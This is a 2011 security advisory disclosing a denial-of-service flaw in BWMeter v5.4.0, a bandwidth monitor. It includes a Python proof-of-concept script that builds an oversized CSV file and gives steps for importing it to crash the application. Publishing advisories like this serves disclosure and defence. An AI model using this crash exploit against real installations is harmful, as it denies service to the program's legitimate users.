BWMeter 5.4.0 Denial Of Service

`GotGeek Labs  
http://www.gotgeek.com.br/  
  
BWMeter v5.4.0 (.csv) Denial of Service  
  
  
  
[+] Description  
  
BWMeter is a powerful bandwidth meter, monitor, traffic controller and  
firewall, which measures, displays and controls all traffic to/from your  
computer or on your network.  
  
  
  
[+] Information  
  
Title: BWMeter v5.4.0 (.csv) Denial of Service  
Advisory: gg-002-2011  
Date: 02-14-2011  
Last update: 02-16-2011  
Link: http://www.gotgeek.com.br/pocs/gg-002-2011.txt  
Tested on: Windows XP SP3  
  
  
  
[+] Vulnerability  
  
BWMeter is affected by denial of service vulnerability.  
Successful exploitation of the vulnerability allows an attacker to crash the  
vulnerable application, denying service to legitimate users.  
  
Affected Versions:  
BWMeter v5.4.0  
  
Other versions may also be vulnerable.  
  
  
  
[+] Proof of Concept/Exploit  
  
#!/usr/bin/python  
#  
  
  
junk = "\x47\x47" * 2500  
  
try:  
file = open('b0t.csv','w');  
file.write(junk);  
file.close();  
print "\n[*] gotgeek labs"  
print "[*] http://gotgeek.com.br\n"  
print "[+] b0t.csv created."  
print "[+] Open BWMeter.exe..."  
print "[+] Statistics >> Import"  
print "[+] and Select b0t.csv\n"  
except:  
print "\n[-] Error.. Can't write file to system.\n"  
  
  
  
[+] References  
  
http://www.desksoft.com/BWMeter.htm  
  
  
  
[+] Credits  
  
b0telh0  
`